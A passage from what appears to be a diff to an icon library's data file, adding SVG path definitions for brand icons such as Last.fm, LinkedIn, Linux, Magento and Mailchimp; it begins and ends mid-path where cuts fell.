"M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z"], + "lastfm": [512, 512, [], "f202", "M225.8 367.1l-18.8-51s-30.5 34-76.2 34c-40.5 0-69.2-35.2-69.2-91.5 0-72.1 36.4-97.9 72.1-97.9 66.5 0 74.8 53.3 100.9 134.9 18.8 56.9 54 102.6 155.4 102.6 72.7 0 122-22.3 122-80.9 0-72.9-62.7-80.6-115-92.1-25.8-5.9-33.4-16.4-33.4-34 0-19.9 15.8-31.7 41.6-31.7 28.2 0 43.4 10.6 45.7 35.8l58.6-7c-4.7-52.8-41.1-74.5-100.9-74.5-52.8 0-104.4 19.9-104.4 83.9 0 39.9 19.4 65.1 68 76.8 44.9 10.6 79.8 13.8 79.8 45.7 0 21.7-21.1 30.5-61 30.5-59.2 0-83.9-31.1-97.9-73.9-32-96.8-43.6-163-161.3-163C45.7 113.8 0 168.3 0 261c0 89.1 45.7 137.2 127.9 137.2 66.2 0 97.9-31.1 97.9-31.1z"], + "lastfm-square": [448, 512, [], "f203", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"], + "leanpub": [576, 512, [], "f212", "M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"], + "less": [640, 512, [], "f41d", "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"], + "line": [448, 512, [], "f3c0", "M272.1 204.2v71.1c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.1 0-2.1-.6-2.6-1.3l-32.6-44v42.2c0 1.8-1.4 3.2-3.2 3.2h-11.4c-1.8 0-3.2-1.4-3.2-3.2v-71.1c0-1.8 1.4-3.2 3.2-3.2H219c1 0 2.1.5 2.6 1.4l32.6 44v-42.2c0-1.8 1.4-3.2 3.2-3.2h11.4c1.8-.1 3.3 1.4 3.3 3.1zm-82-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 1.8 1.4 3.2 3.2 3.2h11.4c1.8 0 3.2-1.4 3.2-3.2v-71.1c0-1.7-1.4-3.2-3.2-3.2zm-27.5 59.6h-31.1v-56.4c0-1.8-1.4-3.2-3.2-3.2h-11.4c-1.8 0-3.2 1.4-3.2 3.2v71.1c0 .9.3 1.6.9 2.2.6.5 1.3.9 2.2.9h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.7-1.4-3.2-3.1-3.2zM332.1 201h-45.7c-1.7 0-3.2 1.4-3.2 3.2v71.1c0 1.7 1.4 3.2 3.2 3.2h45.7c1.8 0 3.2-1.4 3.2-3.2v-11.4c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2V234c0-1.8-1.4-3.2-3.2-3.2H301v-12h31.1c1.8 0 3.2-1.4 3.2-3.2v-11.4c-.1-1.7-1.5-3.2-3.2-3.2zM448 113.7V399c-.1 44.8-36.8 81.1-81.7 81H81c-44.8-.1-81.1-36.9-81-81.7V113c.1-44.8 36.9-81.1 81.7-81H367c44.8.1 81.1 36.8 81 81.7zm-61.6 122.6c0-73-73.2-132.4-163.1-132.4-89.9 0-163.1 59.4-163.1 132.4 0 65.4 58 120.2 136.4 130.6 19.1 4.1 16.9 11.1 12.6 36.8-.7 4.1-3.3 16.1 14.1 8.8 17.4-7.3 93.9-55.3 128.2-94.7 23.6-26 34.9-52.3 34.9-81.5z"], + "linkedin": [448, 512, [], "f08c", "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"], + "linkedin-in": [448, 512, [], "f0e1", "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"], + "linode": [448, 512, [], "f2b8", "M437.4 226.3c-.3-.9-.9-1.4-1.4-2l-70-38.6c-.9-.6-2-.6-3.1 0l-58.9 36c-.9.6-1.4 1.7-1.4 2.6l-.9 31.4-24-16c-.9-.6-2.3-.6-3.1 0L240 260.9l-1.4-35.1c0-.9-.6-2-1.4-2.3l-36-24.3 33.7-17.4c1.1-.6 1.7-1.7 1.7-2.9l-5.7-132.3c0-.9-.9-2-1.7-2.6L138.6.3c-.9-.3-1.7-.3-2.3-.3L12.6 38.6c-1.4.6-2.3 2-2 3.7L38 175.4c.9 3.4 34 27.4 38.6 30.9l-26.9 12.9c-1.4.9-2 2.3-1.7 3.4l20.6 100.3c.6 2.9 23.7 23.1 27.1 26.3l-17.4 10.6c-.9.6-1.7 2-1.4 3.1 1.4 7.1 15.4 77.7 16.9 79.1l65.1 69.1c.6.6 1.4.6 2.3.9.6 0 1.1-.3 1.7-.6l83.7-66.9c.9-.6 1.1-1.4 1.1-2.3l-2-46 28 23.7c1.1.9 2.9.9 4 0l66.9-53.4c.9-.6 1.1-1.4 1.1-2.3l2.3-33.4 20.3 14c1.1.9 2.6.9 3.7 0l54.6-43.7c.6-.3 1.1-1.1 1.1-2 .9-6.5 10.3-70.8 9.7-72.8zm-204.8 4.8l4 92.6-90.6 61.2-14-96.6 100.6-57.2zm-7.7-180l5.4 126-106.6 55.4L104 97.7l120.9-46.6zM44 173.1L18 48l79.7 49.4 19.4 132.9L44 173.1zm30.6 147.8L55.7 230l70 58.3 13.7 93.4-64.8-60.8zm24.3 117.7l-13.7-67.1 61.7 60.9 9.7 67.4-57.7-61.2zm64.5 64.5l-10.6-70.9 85.7-61.4 3.1 70-78.2 62.3zm82-115.1c0-3.4.9-22.9-2-25.1l-24.3-20 22.3-14.9c2.3-1.7 1.1-5.7 1.1-8l29.4 22.6.6 68.3-27.1-22.9zm94.3-25.4l-60.9 48.6-.6-68.6 65.7-46.9-4.2 66.9zm27.7-25.7l-19.1-13.4 2-34c.3-.9-.3-2-1.1-2.6L308 259.7l.6-30 64.6 40.6-5.8 66.6zm54.6-39.8l-48.3 38.3 5.7-65.1 51.1-36.6-8.5 63.4z"], + "linux": [448, 512, [], "f17c", "M220.8 123.3c1 .5 1.8 1.7 3 1.7 1.1 0 2.8-.4 2.9-1.5.2-1.4-1.9-2.3-3.2-2.9-1.7-.7-3.9-1-5.5-.1-.4.2-.8.7-.6 1.1.3 1.3 2.3 1.1 3.4 1.7zm-21.9 1.7c1.2 0 2-1.2 3-1.7 1.1-.6 3.1-.4 3.5-1.6.2-.4-.2-.9-.6-1.1-1.6-.9-3.8-.6-5.5.1-1.3.6-3.4 1.5-3.2 2.9.1 1 1.8 1.5 2.8 1.4zM420 403.8c-3.6-4-5.3-11.6-7.2-19.7-1.8-8.1-3.9-16.8-10.5-22.4-1.3-1.1-2.6-2.1-4-2.9-1.3-.8-2.7-1.5-4.1-2 9.2-27.3 5.6-54.5-3.7-79.1-11.4-30.1-31.3-56.4-46.5-74.4-17.1-21.5-33.7-41.9-33.4-72C311.1 85.4 315.7.1 234.8 0 132.4-.2 158 103.4 156.9 135.2c-1.7 23.4-6.4 41.8-22.5 64.7-18.9 22.5-45.5 58.8-58.1 96.7-6 17.9-8.8 36.1-6.2 53.3-6.5 5.8-11.4 14.7-16.6 20.2-4.2 4.3-10.3 5.9-17 8.3s-14 6-18.5 14.5c-2.1 3.9-2.8 8.1-2.8 12.4 0 3.9.6 7.9 1.2 11.8 1.2 8.1 2.5 15.7.8 20.8-5.2 14.4-5.9 24.4-2.2 31.7 3.8 7.3 11.4 10.5 20.1 12.3 17.3 3.6 40.8 2.7 59.3 12.5 19.8 10.4 39.9 14.1 55.9 10.4 11.6-2.6 21.1-9.6 25.9-20.2 12.5-.1 26.3-5.4 48.3-6.6 14.9-1.2 33.6 5.3 55.1 4.1.6 2.3 1.4 4.6 2.5 6.7v.1c8.3 16.7 23.8 24.3 40.3 23 16.6-1.3 34.1-11 48.3-27.9 13.6-16.4 36-23.2 50.9-32.2 7.4-4.5 13.4-10.1 13.9-18.3.4-8.2-4.4-17.3-15.5-29.7zM223.7 87.3c9.8-22.2 34.2-21.8 44-.4 6.5 14.2 3.6 30.9-4.3 40.4-1.6-.8-5.9-2.6-12.6-4.9 1.1-1.2 3.1-2.7 3.9-4.6 4.8-11.8-.2-27-9.1-27.3-7.3-.5-13.9 10.8-11.8 23-4.1-2-9.4-3.5-13-4.4-1-6.9-.3-14.6 2.9-21.8zM183 75.8c10.1 0 20.8 14.2 19.1 33.5-3.5 1-7.1 2.5-10.2 4.6 1.2-8.9-3.3-20.1-9.6-19.6-8.4.7-9.8 21.2-1.8 28.1 1 .8 1.9-.2-5.9 5.5-15.6-14.6-10.5-52.1 8.4-52.1zm-13.6 60.7c6.2-4.6 13.6-10 14.1-10.5 4.7-4.4 13.5-14.2 27.9-14.2 7.1 0 15.6 2.3 25.9 8.9 6.3 4.1 11.3 4.4 22.6 9.3 8.4 3.5 13.7 9.7 10.5 18.2-2.6 7.1-11 14.4-22.7 18.1-11.1 3.6-19.8 16-38.2 14.9-3.9-.2-7-1-9.6-2.1-8-3.5-12.2-10.4-20-15-8.6-4.8-13.2-10.4-14.7-15.3-1.4-4.9 0-9 4.2-12.3zm3.3 334c-2.7 35.1-43.9 34.4-75.3 18-29.9-15.8-68.6-6.5-76.5-21.9-2.4-4.7-2.4-12.7 2.6-26.4v-.2c2.4-7.6.6-16-.6-23.9-1.2-7.8-1.8-15 .9-20 3.5-6.7 8.5-9.1 14.8-11.3 10.3-3.7 11.8-3.4 19.6-9.9 5.5-5.7 9.5-12.9 14.3-18 5.1-5.5 10-8.1 17.7-6.9 8.1 1.2 15.1 6.8 21.9 16l19.6 35.6c9.5 19.9 43.1 48.4 41 68.9zm-1.4-25.9c-4.1-6.6-9.6-13.6-14.4-19.6 7.1 0 14.2-2.2 16.7-8.9 2.3-6.2 0-14.9-7.4-24.9-13.5-18.2-38.3-32.5-38.3-32.5-13.5-8.4-21.1-18.7-24.6-29.9s-3-23.3-.3-35.2c5.2-22.9 18.6-45.2 27.2-59.2 2.3-1.7.8 3.2-8.7 20.8-8.5 16.1-24.4 53.3-2.6 82.4.6-20.7 5.5-41.8 13.8-61.5 12-27.4 37.3-74.9 39.3-112.7 1.1.8 4.6 3.2 6.2 4.1 4.6 2.7 8.1 6.7 12.6 10.3 12.4 10 28.5 9.2 42.4 1.2 6.2-3.5 11.2-7.5 15.9-9 9.9-3.1 17.8-8.6 22.3-15 7.7 30.4 25.7 74.3 37.2 95.7 6.1 11.4 18.3 35.5 23.6 64.6 3.3-.1 7 .4 10.9 1.4 13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z"], + "lyft": [512, 512, [], "f3c3", "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z"], + "magento": [448, 512, [], "f3c4", "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z"], + "mailchimp": [448, 512, [], "f59e", "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"], + "mandalorian": [448, 512, [], "f50f", "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 